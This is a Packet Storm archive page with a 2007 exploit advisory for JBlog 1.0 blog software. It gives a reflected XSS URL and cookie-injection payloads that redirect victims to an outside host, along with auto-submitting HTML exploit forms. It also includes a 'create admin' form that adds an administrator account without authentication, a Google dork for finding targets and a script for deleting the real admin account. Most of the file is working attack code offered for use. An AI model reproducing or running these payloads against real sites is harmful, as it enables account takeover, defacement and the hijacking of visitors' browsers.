what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

jblog-xss.txt

jblog-xss.txt
Posted Jul 23, 2007
Authored by S4mi

JBlog version 1.0 suffers from cross site scripting and administrator creation vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | cfdf8ce1ce00f4156d16f9e3161f158e96cf6d4e416c43c84f586b71535bdc7d

jblog-xss.txt

Change Mirror Download
<!--
##############################################################################
# Script...............: JBlog version: 1.0 #
# Script Site..........: http://www.jmuller.net/jblog #
# Vulnerability........: Creat Admin exploit, xss, Cookie Manipulation #
# Access...............: Remote #
# level................: Dangerous #
# Author...............: S4mi #
# Contact..............: S4mi[at]LinuxMail.org #
# #
##############################################################################

cookies Manipulation + Cross Site Scripting :
=========================================================================
xss:
----
http://site.com/jblog/index.php?id=">[xss Here]&pcomm=com

cookies Manipulation:
--------------------
The POST variable 'search' in /jblog/recherche.php also The Cookie variable 'theme' is affected and can be set to :

<meta http-equiv='Set-cookie' content='name=value'>

also we can do this :

<meta http-equiv='Set-cookie' content='theme=<body+onload=alert("owned_by_Hacker")>'>

or :

<meta http-equiv='Set-cookie' content='theme=<body+onload=document.location="http://Bad.site.com/">'>

This is a small exemple of Inject Cookie Xploit (Cookie Manipulation)
---------------------------------------------------------------------------
<html>
<head>
<title>Inject Cookie Xploit By S4mi</title>
</head>
<body>
<script language="JavaScript">
function JBlogxpl()
{
document.xploit.action=document.xploit.victim.value;
document.xploit.submit();
}
</script>
<form name="xploit" method="post" action="">
<input type="hidden" name="victim" value="http://victim/jblog/recherche.php">
<input type="hidden" name="search" value="<meta http-equiv='Set-cookie' content='theme=<body+onload=document.location="http://milw0rm.com/">'>" />
<script>document.location="javascript: JBlogxpl()"</script>
</form>
</body>
</html>

============================================================================

Remote Privilege Escalation "Creat New Admin Xploit" By S4mi :
============================================================================
-->

<html>
<title>JBlog 1.0 -- Remote Privilege Escalation (Creat admin sploit) -- By S4mi</title>
<body>
<script language="JavaScript">
function JBlogxpl() {
if (document.xploit.victim.value=="") {
alert("Please enter target!");
return false;
}
{
xploit.action="http://"+document.xploit.victim.value+"admin/ajoutaut.php";
xploit.mot.value=document.xploit.mot.value;
xploit.droit.value=document.xploit.droit.value;
xploit.submit();
}
}

</script>
<strong><p>
-------------------------------------------------------------------------------------------<br>
#JBlog 1.0 -- Remote Privilege Escalation Xploit (add user)<br>
# Discovered By...............: S4mi <br>
# Contact..........................: S4mi[at]LinuxMail.org<br>
#<br>
# Google Dork : "propulsé par JBlog" <br>
--------------------------------------------------------------------------------------------</p>
<form name="xploit" method="POST" onSubmit="JBlogxpl();">
Target -> Http://
<input type="text" name="victim" value="www.Site.com/Path/" size="44">
<p> Username.......->
<input type="text" name="mot" value="ZaZ" size="30">
(your password will be by default: <i>"admin"</i>)</p>
<p> User type......->
<select name="droit">
<option value="3">Admin</option>
<option value="2">Moderator</option>
<option value="1">Editor</option>
</select>
</p>
<p>Submit...........->
<input name="submit" type="submit" value=" Xploit it ">
</p>
</form>
<br>---------------------------------------------------------------------------------------<br>
#NB : Remember do not use a probably existing username (such as "admin"). <br>
#If you want to Delete real admin account :D login into your New Created admin account & use this :<br>
--------------------------------------------------------------------------------------------<p>
<script language="JavaScript">

function AdminDelete()
{ if (document.xploit.victim.value=="") {
alert("Please enter target!");
return false;
}
if(confirm('Are you Sure!! want really DELETE user ?'))
document.location.href="http://"+document.xploit.victim.value+"admin/supauteur.php?cat="+document.userdel.id.value;
}
</script>
<form name="userdel" method="POST" onSubmit="">
ID...............> <input type="text" name="id" value="1" size="3">
</form>
<a href="#" OnClick="AdminDelete()"/>Delete</a>

<br>-----------------------------------------------------------------------------------------------<br>
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39, Black-Code, Nuck3r... & all who know Me!

</body>
</html>
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close